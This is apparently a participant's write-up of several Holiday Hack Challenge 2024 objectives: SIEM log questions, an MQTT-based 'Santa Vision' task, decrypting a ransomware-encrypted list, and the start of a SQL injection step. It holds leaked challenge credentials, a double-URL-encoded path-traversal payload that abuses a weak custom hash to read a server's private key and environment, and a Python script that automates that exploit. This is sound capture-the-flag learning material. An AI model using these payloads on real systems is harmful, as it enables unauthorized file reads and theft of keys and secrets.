Wombley unleashed their FrostBit ransomware, and the only backup of the Naughty Nice list was destroyed. We need to trace the attack vectors and events. If we can find the attack path, maybe we can salvage what’s left.

Hints

  • Elf Stack Intro: I’m part of the ElfSOC that protects the interests here at the North Pole. We built the Elf Stack SIEM, but not everybody uses it. Some of our senior analysts choose to use their command line skills, while others choose to deploy their own solution. Any way is possible to hunt through our logs!
  • Elf Stack Fields: If you are using your command line skills to solve the challenge, you might need to review the configuration files from the containerized Elf Stack SIEM.
  • Elf Stack WinEvent: One of our seasoned ElfSOC analysts told me about a great resource to have handy when hunting through event log data. I have it around here somewhere, or maybe it was online. Hmm.
  • Elf Stack PowerShell: Our Elf Stack SIEM has some minor issues when parsing log data that we still need to figure out. Our ElfSOC SIEM engineers drank many cups of hot chocolate figuring out the right parsing logic. The engineers wanted to ensure that our junior analysts had a solid platform to hunt through log data.

Progress

I downloaded two log chunk zips, along with an ELK stack docker-compose that I am supposed to run locally.

Kibana displays login information on startup, with logs pre-ingested:

ess_syslog_sender  | ****************************************                                                                                                                                    
ess_syslog_sender  |    LOGIN INFORMATION:                                                                                                                                                       
ess_syslog_sender  |            URL: http://localhost:5601                                                                                                                                       
ess_syslog_sender  |            Username: elastic
ess_syslog_sender  |            Password: ELFstackLogin!                                                                                                                                         
ess_syslog_sender  |                                                                                                                                                                             
ess_syslog_sender  |            SET DATE IN ANALYSIS: DISCOVER TO 2024                                                                                                                           
ess_syslog_sender  | ****************************************
  1. How many unique values are there for the event_source field in all logs? 5

  2. Which event_source has the fewest number of events related to it? AuthLog

  3. Using the event_source from the previous question as a filter, what is the field name that contains the name of the system the log event originated from? hostname

  4. Which event_source has the second highest number of events related to it? NetflowPmacct
    event_source : "GreenCoat" -> 7,476
    event_source : "NetflowPmacct"  -> 34,679
    event_source : "SnowGlowMailPxy" -> 1,398
    event_source : "WindowsEvent" -> 2,299,324
    
  5. Using the event_source from the previous question as a filter, what is the name of the field that defines the destination port of the Netflow logs? event.port_dst

  6. Which event_source is related to email traffic? SnowGlowMailPxy

  7. Looking at the event source from the last question, what is the name of the field that contains the actual email text? event.Body

  8. Using the ‘GreenCoat’ event_source, what is the only value in the hostname field? SecureElfGwy

  9. Using the ‘GreenCoat’ event_source, what is the name of the field that contains the site visited by a client in the network? event.url

  10. Using the ‘GreenCoat’ event_source, which unique URL and port (URL:port) did clients in the TinselStream network visit most? pagead2.googlesyndication.com:443

  11. Using the ‘WindowsEvent’ event_source, how many unique Channels is the SIEM receiving Windows event logs from? 5

  12. What is the name of the event.Channel (or Channel) with the second highest number of events? Microsoft-Windows-Sysmon/Operational
    event.Channel : "Microsoft-Windows-PowerShell/Operational"  > 11,751
    event.Channel : "Microsoft-Windows-Sysmon/Operational"  > 17,713
    event.Channel : "Security" > 2,268,402
    event.Channel : "System" > 191
    event.Channel : "Windows PowerShell" > 50
    
  13. Our environment is using Sysmon to track many different events on Windows systems. What is the Sysmon Event ID related to loading of a driver? 6 (just googled it)

  14. What is the Windows event ID that is recorded when a new service is installed on a system? 4697 (googled it)

  15. Using the WindowsEvent event_source as your initial filter, how many user accounts were created? 0

Sat on this one for a while, trying all sorts of queries but getting nothing returned. It was a trick question though…no user accounts were created.

Santa Vision

Objective

Alabaster and Wombley have poisoned the Santa Vision feeds! Knock them out to restore everyone back to their regularly scheduled programming.

Use the terminal. Once it’s done baking, you’ll see an IP address that you’ll need to scan for listening services.

Our target is the technology behind the SBN. We need to make a key change to its configuration. We’ve got to remove their ability to use their admin privileges. This is a delicate maneuver—are you ready?

We need to change the application so that multiple administrators are not permitted. A misstep could cause major issues, so precision is key.

The first step to unraveling this mess is gaining access to the SantaVision portal. You’ll need the right credentials to slip through the front door—what username will get you in?

Hints

  • Misplaced Credentials - See if any credentials you find allow you to subscribe to any MQTT feeds.
  • Filesystem Analysis - jefferson is great for analyzing JFFS2 file systems.
  • Database Pilfering - Consider checking any database files for credentials…

Progress

Starting GateXOR printed this:

GateXOR> [Instructions] Your SantaVision instance is now available at the IP address above. Scan the IP address to begin the challenge. Good luck!!

My IP was 34.68.121.5.

A - What username logs you into the SantaVision portal? elfanon

A quick nmap scan revealed:

22/tcp   open     ssh
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
8000/tcp open     http-alt
9001/tcp open     tor-orport?

Visiting port 8000 in the browser led me to a login page.

Looking through the HTML, I see a code comment with some credentials:

<!-- mqtt: elfanon:elfanon -->

That logs me in to the MQTT page.

B - Once logged on, authenticate further without using Wombley’s or Alabaster’s accounts to see the northpolefeeds on the monitors. What username worked here? elfmonitor

“Now that you’re in, it’s time to go deeper. We need access to the northpolefeeds. This won’t work if you use Wombley or Alabaster’s credentials—find the right user to log in.”

New hint: Like a Good Header on Your HTTP? - Be on the lookout for strange HTTP headers…

Since it seems like I should be able to connect via MQTT, I scanned again on that specific port:

nmap -sS -sU -sV -p 1883 34.68.121.5

Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-04 09:16 Eastern Standard Time
Nmap scan report for 5.121.68.34.bc.googleusercontent.com (34.68.121.5)
Host is up (0.041s latency).

PORT     STATE  SERVICE    VERSION
1883/tcp open   mqtt
1883/udp closed ibm-mqisdp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds

And it looks like MQTT is open. I used an MQTT client (MQTTX) and the anon credentials I got previously to connect.

However, a topic is required to send messages. I also noticed in the HTML page a note that said: “(topic ‘sitestatus’ available.)”. Sending messages didn’t do anything, and I wasn’t familiar with the MQTT client, so I just wrote some Python to subscribe to that topic:

import paho.mqtt.client as mqtt

# Callback when the client receives a message
def on_message(client, userdata, msg):
    print(f"Received message: {msg.payload.decode()} on topic: {msg.topic}")

# Create an MQTT client and connect
client = mqtt.Client()
client.username_pw_set("elfanon", "elfanon") 
client.on_message = on_message

client.connect("34.68.121.5", port=1883)
client.subscribe("sitestatus")
client.loop_forever()

That code returns data every couple of seconds. The messages are:

Received message: Broker Authentication as superadmin succeeded on topic: sitestatus
Received message: File downloaded: /static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin on topic: sitestatus
Received message: Broker Authentication as admin succeeded on topic: sitestatus
Received message: Broker Authentication succeeded: WomblyC on topic: sitestatus
Received message: Broker Authentication failed: WomblyC on topic: sitestatus
Received message: Broker Authentication succeeded: AlabasterS on topic: sitestatus

It looks like a bunch of login messages, but the leaked file is interesting, and corresponds to the hints. I downloaded the file at that URL, and it looks like a file system like the one hint mentioned.

I can extract the filesystem using jefferson:

(fs) mehlj@DESKTOP-GVKVHOR:/mnt/c/Users/Administrator/Documents/hhc 2024$ jefferson applicationDefault.bin 
dumping fs to /mnt/c/Users/Administrator/Documents/hhc 2024/jffs2-root (endianness: <)
Jffs2_raw_inode count: 47
Jffs2_raw_dirent count: 47
writing S_ISREG .bashrc
writing S_ISREG .profile
….

Now, according to the hint, I’m looking for database files that contain credentials.

Poking around in views.py, I can see another Flask route that is available:

@accounts_bp.route("/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite", methods=["GET"])
def db():
    return send_from_directory("static", "sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite", as_attachment=True)

A SQLite database. I can download that as well and open it with SQLitebrowser, to find one credential pair:

Subscribing to feeds with these credentials using my Python script did nothing, so I think I’m supposed to use the web interface at this point (the monitors). But the monitors won’t turn on for me. Need to figure that out.

Actually…those santa admin creds were for Gold for A. So I think they can be ignored for now.

I’ve seen elfmonitor as an account when you hit “list clients”, so I guessed it in the objective and it was correct.

Now, I actually need to use that account to power on the monitor and see the northpolefeeds.

I need to find elfmonitor’s password, that’s the only thing I’m missing, since I can see the port is supposed to be 9001 (code comment in the JS).

Wombly and Alabaster have random passwords (according to the code in the filesystem dump).

Found this in the views.py:

            #Publish Messages to Broker to Create Player Broker Clients
            mqttPublish.multiple(CreatePlayerClients,hostname="localhost",port=1883,auth={'username':"SantaBrokerAdmin", 'password':"8r0k3R4d1mp455wD"})

Might be a rabbit hole.

Modifying my Python script a bit (with those creds), I can now subscribe to northpolefeeds:

Received message: ./static/images/monitor1.png,./static/images/monitor2.png,./static/images/monitor3.png,./static/images/monitor4.png,./static/images/monitor5.png,./static/images/monitor6.png,./static/images/monitor7.png,./static/images/monitor8.png on topic: northpolefeeds

That was the only message I got though. I assume I need to do the same thing in the web app, to actually see the images.

I tried the same thing in the web app, but the monitors won’t turn on. Every time I attempt to turn the monitors on though, I get that message in my feed.

Confirmed via Discord that the FS dump is only good for Gold A. Everything else is a rabbit hole. So…continuing on without any of that knowledge. Only using the hint for B.

The B hint says to look out for weird HTTP headers, but the only non-standard one I see is BrkrTopic: northpolefeeds. Not sure how that helps me.

Asked for a nudge, got the monitors turned on with the below. Turns out the Role was the password. I have no idea why.

U: elfmonitor
P: SiteElfMonitorRole
Camera Feed Server: <ip>
Camera Feed Port: 9001

Put northpolefeeds in the subscription and got feed in the monitors:

C - Using the information available to you in the SantaVision platform, subscribe to the frostbitfeed MQTT topic. Are there any other feeds available? What is the code name for the elves’ secret operation? Idemcerybu

Subscribing to that MQTT topic does not display camera images, but messages instead. Here are some of the messages:

  • Do you conduct regular frostbite preparedness exercises?
  • Let’s Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
  • Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot//deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
  • Frostbite can be prevented by using a firewall and keeping your network secure
  • While good backups are important, they won’t prevent frostbite
  • Additional messages available in santafeed

Keeping with the objective, I connected to that santafeed topic. Same deal with that, only messages:

  • WombleyC role: admin
  • AlabasterS role: admin
  • Santa role: superadmin
  • singleAdminMode=false
  • superAdminMode=true
  • Sixteen elves launched operation: Idemcerybu

The secret operation code is in that last message.

D - There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the northpolefeeds feed. What type of contraption do you see Santa on? Pogo stick

“It’s time to take back control of the Santa Broadcast Network. There really shouldn’t be multiple administrators—send the right message, and Santa’s true spirit will return. What’s Santa test-driving this season?”

From the info enumerated in the last question, I knew there was a singleAdminMode=false message in the topic. So I published a message that set that to true in the santafeed.

Returning back to the northpolefeeds showed the image of Santa I needed.

Decrypt the Naughty-Nice List

Objective

Decrypt the Frostbit-encrypted Naughty-Nice list and submit the first and last name of the child at number 440 in the Naughty-Nice list.

Hints

  • Frostbit Dev Mode: There’s a new ransomware spreading at the North Pole called Frostbit. Its infrastructure looks like code I worked on, but someone modified it to work with the ransomware. If it is our code and they didn’t disable dev mode, we might be able to pass extra options to reveal more information. If they are reusing our code or hardware, it might also be broadcasting MQTT messages.
  • Frostbit Crypto: The Frostbit ransomware appears to use multiple encryption methods. Even after removing TLS, some values passed by the ransomware seem to be asymmetrically encrypted, possibly with PKI. The infrastructure may also be using custom cryptography to retrieve ransomware status. If the creator reused our cryptography, the infrastructure might depend on an outdated version of one of our libraries with known vulnerabilities. There may be a way to have the infrastructure reveal the cryptographic library in use.
  • Frostbit Forensics: I’m with the North Pole cyber security team. We built a powerful EDR that captures process memory, network traffic, and malware samples. It’s great for incident response - using tools like strings to find secrets in memory, decrypt network traffic, and run strace to see what malware does or executes.

Notes from Discord

(started on 12/10)

  • MQTT is relevant here. Use knowledge I gained from Santa Vision.
  • “Debug mode being enabled” is important. It is probably in the API later on.
  • Brute forcing is never needed.

Progress

I’ve been provided five files:

  • DoNotAlterorDeleteMe.frostbit.json: challenge-specific info. Not a part of the ransomware
  • frostbit.elf: 64-bit ELF executable, compiled with Go.
  • frostbit_core_dump.13: 64-bit ELF core dump
  • naughty_nice_list.csv.frostbit: the ransomwared-CSV file I need to decrypt
  • ransomware_traffic.pcap: a pcap that I can open in wireshark

I started with analyzing the PCAP in Wireshark.

The PCAP was super small, only 19 packets. I can see 172.17.0.3 opening a TCP connection with api.frostbit.app, and then only TLS1.3 encrypted traffic from then on.

I need to decrypt the traffic, so I read this article: https://www.packetsafari.com/blog/2022/10/07/wireshark-decryption/

According to that article, I need to build an sslkeylog.log file that contains some client/server handshake secrets. Where could I get those secrets from, though? Knowing that secrets like that can usually leak in memory, I took a look at the coredump.

The hint implies I should simply use strings on the memory dump, so I did, and too note of several interesting things:

What looks like the information I need for my sslkeylog.log:

CLIENT_HANDSHAKE_TRAFFIC_SECRET 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef e18a276417f519b92a9749c491144e9f69b7f023f7f7ffcd58449a2292d515d7
SERVER_HANDSHAKE_TRAFFIC_SECRET 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef a34df306394fab352f7208183a5f39dd8cd8f4c23406603140768d5c7efb0062
CLIENT_TRAFFIC_SECRET_0 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef 53e3ad76c7d3b7773c965560f2273ac8c61619ff4aef561e5e2020d16e0a24b5
SERVER_TRAFFIC_SECRET_0 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef 5e252f0169052a78d246586a116ddc6571390268c7b01b59ff022f139e04d499

A POST and response to an API:

POST /api/v1/bot/888ffded-9b73-4a6c-a257-2936e8d3c7b0/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"7e7121f5fa30b03cf900431eb8b3a5bc66c614aaae76a19f3ba69ff592eba28049dc2d2cbd57158191fac28e712c27db6d8f5bf29df706bce912e3b49af8b6f2baa0cb196cf1ee339474f10f6791f0a553cf97e237c652d961f5f2f393ef14bf38b08bcaec3086640f9967b6f8236c1bf36c9cd3b9c5f2dda07fa72696158db2a9542aa4e9802d939511f03dcab3ff46f0942aa5621125d01842dda67d91b94682bb7b4abd9e4dfb4ff73061cea93dae6db88a5763095ae3532269b760eb1b18e49d0a73a6949d50f638e39bc1503010229982b0f69cd9d8b4495e72fa67ade5b18ce5e27d858024fd8945e0002ca9444d1306283efe21fa80bc498a9556c9abbef57ae4b25512ff3c67abd84db5bf60550ce0e8eb39c7cd8fdc384a421c31146999d0a8be076840b551a252c59c4e4e776407f3ad4989f1a95ef1a4bf1742cbc7e7e1eab97d2a5748816273c4571dfa144939cfbfad5e1546ff6220c49b042d8790abcb9beff9dca4fc836c4898d5862bb936b4ff80a9bd3f3040430e44c5cb88dfcbdad1dc350eab8c2840c3198165bf06c91aaa2fa6422f49feeab3c51fbd73677cd883632fdcd3966148526e9e7f3ce07651910a9e86f2ffa893fdd50b968d85e332cafd6ea254c7e54c905c37d58aa0450458eebeb94eddedd2ecd06301fe91be904dc2973847814e01b6bbe927509803ab8b425b17c8dc38b0973e76ff","nonce":""}
api.frostbit.app.

8HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Tue, 10 Dec 2024 13:21:42 GMT
Content-Type: application/json
Content-Length: 96
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"digest":"9a50a8048084381bca01945c85000c33","status":"Key Set","statusid":"Ie0VlfvqHYy3kJcUw"}

A “session” url to an API: https://api.frostbit.app/api/v1/bot/888ffded-9b73-4a6c-a257-2936e8d3c7b0/session

Visiting that URL in the browser returns:

{"nonce":"8900e335f0f65051"}

And finally, what appears to be the ransomware notice page: https://api.frostbit.app/view/Ie0VlfvqHYy3kJcUw/888ffded-9b73-4a6c-a257-2936e8d3c7b0/status?digest=9a50a8048084381bca01945c85000c33

A lot of potentially helpful but disjointed info. For now, I can use that information to populate my sslkeylog.log file:

CLIENT_HANDSHAKE_TRAFFIC_SECRET 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef e18a276417f519b92a9749c491144e9f69b7f023f7f7ffcd58449a2292d515d7
SERVER_HANDSHAKE_TRAFFIC_SECRET 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef a34df306394fab352f7208183a5f39dd8cd8f4c23406603140768d5c7efb0062
CLIENT_TRAFFIC_SECRET_0 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef 53e3ad76c7d3b7773c965560f2273ac8c61619ff4aef561e5e2020d16e0a24b5
SERVER_TRAFFIC_SECRET_0 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef 5e252f0169052a78d246586a116ddc6571390268c7b01b59ff022f139e04d499

After tweaking my wireshark preferences and reopening the PCAP, I was able to see the decrypted TLS traffic (which is actually HTTP interactions with an API):

GET /api/v1/bot/888ffded-9b73-4a6c-a257-2936e8d3c7b0/session HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Tue, 10 Dec 2024 13:21:41 GMT
Content-Type: application/json
Content-Length: 29
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"nonce":"8900e335f0f65051"}

POST /api/v1/bot/888ffded-9b73-4a6c-a257-2936e8d3c7b0/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"7e7121f5fa30b03cf900431eb8b3a5bc66c614aaae76a19f3ba69ff592eba28049dc2d2cbd57158191fac28e712c27db6d8f5bf29df706bce912e3b49af8b6f2baa0cb196cf1ee339474f10f6791f0a553cf97e237c652d961f5f2f393ef14bf38b08bcaec3086640f9967b6f8236c1bf36c9cd3b9c5f2dda07fa72696158db2a9542aa4e9802d939511f03dcab3ff46f0942aa5621125d01842dda67d91b94682bb7b4abd9e4dfb4ff73061cea93dae6db88a5763095ae3532269b760eb1b18e49d0a73a6949d50f638e39bc1503010229982b0f69cd9d8b4495e72fa67ade5b18ce5e27d858024fd8945e0002ca9444d1306283efe21fa80bc498a9556c9abbef57ae4b25512ff3c67abd84db5bf60550ce0e8eb39c7cd8fdc384a421c31146999d0a8be076840b551a252c59c4e4e776407f3ad4989f1a95ef1a4bf1742cbc7e7e1eab97d2a5748816273c4571dfa144939cfbfad5e1546ff6220c49b042d8790abcb9beff9dca4fc836c4898d5862bb936b4ff80a9bd3f3040430e44c5cb88dfcbdad1dc350eab8c2840c3198165bf06c91aaa2fa6422f49feeab3c51fbd73677cd883632fdcd3966148526e9e7f3ce07651910a9e86f2ffa893fdd50b968d85e332cafd6ea254c7e54c905c37d58aa0450458eebeb94eddedd2ecd06301fe91be904dc2973847814e01b6bbe927509803ab8b425b17c8dc38b0973e76ff","nonce":"8900e335f0f65051"}

HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Tue, 10 Dec 2024 13:21:42 GMT
Content-Type: application/json
Content-Length: 96
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"digest":"9a50a8048084381bca01945c85000c33","status":"Key Set","statusid":"Ie0VlfvqHYy3kJcUw"}

This is the same information found in the memory dump, but nicely formatted and confirms the importance.

So, I have an encrypted key. I assume that I need to decrypt that key and use it to decrypt the ransomwared CSV. And per the hints, I need to interact with the API somehow to decrypt that key.

The API is at https://api.frostbit.app/.

Using hints and previously found info, we can deduce:

  • this key is “asymmetrically encrypted, possibly with PKI”
  • “The API might depend on an outdated version of one of our libraries with known vulnerabilities. There may be a way to have the infrastructure reveal the cryptographic library in use”
  • “dev mode” is enabled, and we can pass extra options to reveal more information
  • MQTT messages may be being broadcasted

I’ll start with MQTT to see if I can glean any important info there. I ran a port scan to see what port it is broadcasting on, but 1883 and 9001 were both filtered.

I looked back at the Santa Vision challenge, per some Discord advice, to see if there were any important MQTT messages I missed. Turns out, yes, there were a couple in the frostbitfeed:

  • Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot//deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
  • Let’s Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key

Sounds like the first message relates to the next challenge (Deactivate), so I’ll ignore that for now.

The second message looks important though. It shows the path of a private key, which I can assume, can decrypt our encryptedkey we got from the PCAP.

Problem is, that private key file exists server-side. Maybe we have to exploit an LFI vulnerability to grab the contents of that file somehow?

The only vulnerability we know of is with a outdated version of a cryptographic library. Not much to go off of, but if we can trigger debug/dev mode, maybe it can help reveal the version of that library.

I see this in the status page JS:

// Default values with placeholders for data passed from the server-side Python script
        const isExpired = false;
        const expiryTime = 1734998400;
        const uuid = "888ffded-9b73-4a6c-a257-2936e8d3c7b0";
        const debugData = false;
        const deactivated = false;
        const decryptedkey = false;

It mentions debugData as a potential parameter. I tried variations of debugData=true as a URL parameter for a while, but got nowhere.

Finally, a discord nudge corrected me and it turned out to be debug=1 (for some reason).

With debug mode enabled, I can see more detailed error messages all across the API. We just need to trigger a helpful error message.

Looking at the status page some more, I can see it takes many arguments:

https://api.frostbit.app/view/<statusid>/<uuid>/status?digest=<digest>&debug=1

I’ll try and supply invalid inputs to each of those arguments and see if I get a good error message.

When I pass a random statusid in, I get an error message:

“Status Id File Not Found”

Since that error mentions a file/filename, that tells me that some code somewhere is taking statusid as a filename input, which is probably my avenue for LFI. Noting that for later.

Nothing helpful happens when I pass invalid UUIDs - that is probably a challenge/player-unique identifier.

After playing with invalid digest values for a while, I got this error when supplying non-hex digits:

{"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n  File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n    decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Non-hexadecimal digit found\n"}

That filepath is interesting, and it turns out I can read that Python file directly at /static/FrostBiteHashlib.py.

After studying that code, turns out that library has a roll-your-own crypto hashing function that uses bitwise operators and obfuscation to generate a hash/digest, instead of a reputable hashing algorithm.

This is the code annotated with my notes:

class Frostbyte128:
    def __init__(self, file_bytes: bytes, filename_bytes: bytes, nonce_bytes: bytes, hash_length: int = 16):
        self.file_bytes = file_bytes
        self.filename_bytes = filename_bytes
        self.filename_bytes_length = len(self.filename_bytes)
        self.nonce_bytes = nonce_bytes
        self.nonce_bytes_length = len(self.nonce_bytes)
        self.hash_length = hash_length
        self.hash_result = self._compute_hash()

    def _compute_hash(self) -> bytes:
        """
        Computes a custom hash value by iteratively processing two byte sequences (file_bytes and filename_bytes)
        and combining them with a nonce using bitwise operations
        """
        hash_result = bytearray(self.hash_length)
        count = 0

        # 1st loop - loop through file_bytes
        # BLUF -- It "mixes" the content of "file_bytes" with "nonce_bytes" into "hash_result"
        # For each byte in file_bytes:
            # calculate "xrd", the XOR of the current byte and a byte from nonce_bytes
            # update an element in hash_result:
                # index = count % hash_length
                # value = XOR with xrd
        for i in range(len(self.file_bytes)):
            xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
            hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
            count += 1

        # 2nd loop - loop through filename_bytes
        # BLUF -- It "mixes" the filename data with the "nonce_bytes" and further modifies "hash_result"
        # for each byte in filename_bytes:
            # it computes count_mod, count_filename_mod, and count_nonce_mod, which are calculated by:
                # count index MODULO hash_length, filename_bytes_length, and nonce_bytes_length respectively
            # it calculates xrd - the XOR of the current byte and a byte from nonce_bytes
            # updates an element in hash_result:
                # index = count_mod
                # value = AND with xrd
        for i in range(len(self.filename_bytes)):
            count_mod = count % self.hash_length
            count_filename_mod = count % self.filename_bytes_length
            count_nonce_mod = count % self.nonce_bytes_length

            # issue is here----------------
            # xrd = filename ^ nonce
            # note: nonce ^ nonce == 0. We want XRD to be zero
            xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
            print("xrd is " + str(xrd))

            # hash = hash & xrd
            hash_result[count_mod] = hash_result[count_mod] & xrd
            count += 1

        return bytes(hash_result)

In summary, the hashing function accepts arguments file_bytes, filename, and nonce, performs bitwise operations on them repeatedly to generate a digest, and returns it.

Not only are bitwise operators insecure by nature, there is also a critical flaw at the end of the function - the & xrd will always result in zero if xrd is zero. How do we force xrd to be zero? XRD is determined by XOR, and we know XOR ^ XOR will always be zero. And, since we know XRD is generated from filename ^ nonce, we just have to craft a filename input that exactly matches nonce.

Thus, there is a path to predictably creating a digest by zeroing out the entire hash.

This is important because an LFI payload like this would not work that this point:

https://api.frostbit.app/view/../../../../etc/nginx/certs/api.frostbit.app.key/888ffded-9b73-4a6c-a257-2936e8d3c7b0/status?digest=9a50a8048084381bca01945c85000c33&debug=1

Because our digest does not match _compute_hash(filename/statusid input). But now we have a way to force the hashing function to predictably generate a digest.

So, we have a potential LFI payload that looks like this: ../../../../etc/nginx/certs/api.frostbit.app.key

And a method of forcing the hashing function to predictably generate a digest - supplying nonce as a filename/statusid parameter.

How do we combine these though? We need both of these to work in tandem, since the LFI payload has to execute, and the digest has to be zeroed out.

Turns out, we can combine these two techniques in our one statusid/filename parameter and still have the digest be zeroed out. Figured this out after playing with the crypto library class and experimenting.

So our payload can look like this (note - supplied nonce twice due to how the bitwise operators work):

https://api.frostbit.app/view/8900e335f0f650518900e335f0f65051../../../../etc/nginx/certs/api.frostbit.app.key/888ffded-9b73-4a6c-a257-2936e8d3c7b0/status?digest=00000000000000000000000000000000&debug=1

Even though we have that trailing LFI payload, as long as we supply nonce x2 somewhere in our statusid/filename input, the digest will still be zeroed out.

This payload still won’t work though, since it needs to be twice-URL encoded (there seemed to be a mechanism blocking single URL encoding).

Our payload looks like this now:

https://api.frostbit.app/view/%2529%2502%2572%25a2%25e1%25cb%2588%25a8%2529%2502%2572%25a2%25e1%25cb%2588%25a8..%252F..%252F..%252F..%252Fetc%252Fnginx%252Fcerts%252Fapi.frostbit.app.key/bce8b3c3-426c-4edf-901f-27c889158ff5/status?digest=00000000000000000000000000000000&debug=1

This still didn’t work, however. I had to add a bunch of ../ padding (10 to be exact) for the LFI to finally work.

Final payload:

https://api.frostbit.app/view/%2529%2502%2572%25a2%25e1%25cb%2588%25a8%2529%2502%2572%25a2%25e1%25cb%2588%25a8..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fnginx%252Fcerts%252Fapi.frostbit.app.key/bce8b3c3-426c-4edf-901f-27c889158ff5/status?digest=00000000000000000000000000000000&debug=1

That payload gives us an RSA private key - the contents of /etc/nginx/certs/api.frostbit.app.key.

After playing with CyberChef for a while trying to decrypt our encryptedkey, I found out that the encryptedkey is actually hex encoded (why..), and was able to decrypt using our RSA key:

That decryption gives us what looks like an AES key and IV:

489babe9499fcde6d04e55401030c438,290272a2e1cb88a8

We can assume that the CSV file was encrypted using that key and IV.

After playing with AES decryption CC settings, I was able to decrypt the CSV file and get the CSV file:

Flag is Xena Xtreme.

To carry this LFI vulnerability as far as I can (to help with the next challenge), I automated the exploit:

import requests
import urllib.parse

def exploit(payload):
    url = f"https://api.frostbit.app/view/{payload}/bce8b3c3-426c-4edf-901f-27c889158ff5/status?digest=00000000000000000000000000000000&debug=1"
    
    response = requests.get(url)
    
    if response.status_code == 200:
        print("Payload success!!")
        print("Visit this URL: " + url)
    else:
        print("Request failed: ", response.text)

    return response

def double_url_encode(string):
    return urllib.parse.quote_plus(urllib.parse.quote_plus(string))

if __name__ == "__main__":
    nonce_payload = "%2529%2502%2572%25a2%25e1%25cb%2588%25a8%2529%2502%2572%25a2%25e1%25cb%2588%25a8"
    lfi_payload = double_url_encode("/etc/nginx/certs/api.frostbit.app.key")

    for i in range(30):
        # padding ranges depending on LFI payload, so brute force it a little
        payload = nonce_payload + ("..%252F" * i) + lfi_payload

        response = exploit(payload)
        
        if "Status Id Too Long" in response.text:
            print("File does not exist on target system.")
            break

        if response.status_code == 200:
            break

Deactivate Frostbit Naughty-Nice List Publication

Objective

Wombley’s ransomware server is threatening to publish the Naughty-Nice list. Find a way to deactivate the publication of the Naughty-Nice list by the ransomware server.

From what I’ve heard, this is a relatively new/common SQL injection attack on a old/rare DBMS.

Hints

I thought I would get some from finishing the previous challenge, guess not.

Progress

Using the LFI vulnerability from last challenge, I was able to get /proc/self/environ to see if anything helped for this challenge:

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=6059e5d8ecc8
FROSTBIT_CHALLENGE_HASH=6487b8b081bc4317cc8017a898c7dfc8
LETSENCRYPT_EMAIL=ops@counterhack.com
PYTHONUNBUFFERED=1
VIRTUAL_PORT=8080
ARANGO_ROOT_PASSWORD=password
ARANGO_HOST=arangodb
APP_DEBUG=true
API_ENDPOINT=https://2024.holidayhackchallenge.com
VIRTUAL_HOST=api.frostbit.app
LETSENCRYPT_HOST=api.frostbit.app
LANG=C.UTF-8
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_VERSION=3.9.19
PYTHON_PIP_VERSION=23.0.1
PYTHON_SETUPTOOLS_VERSION=58.1.0
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/def4aec84b261b939137dd1c69eff0aabb4a7bf4/public/get-pip.py
PYTHON_GET_PIP_SHA256=bc37786ec99618416cc0a0ca32833da447f4d91ab51d2c138dd15b7af21e8e9a
HOME=/root

This actually gives me the DBMS name - ArangoDB. That should come in handy later.

I went back to the relevant MQTT message for this challenge:

Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley

That /deactivate endpoint returns 403 if I interact with it. Since it mentions an X-API-Key header, one can surmise I am supposed to supply an API key here in order for the ransomware to be deactivated. I don’t think the decrypt RSA private key is the API key I need, so sounds like I need to steal another key here.

I started playing around with the X-Api-Key header in Burp repeater. Since I know SQL injection is in play here, I supplied a single quote to see if I get a good error:

GET /api/v1/frostbitadmin/bot/bce8b3c3-426c-4edf-901f-27c889158ff5/deactivate?debug=1 HTTP/2
Host: api.frostbit.app
<snip>
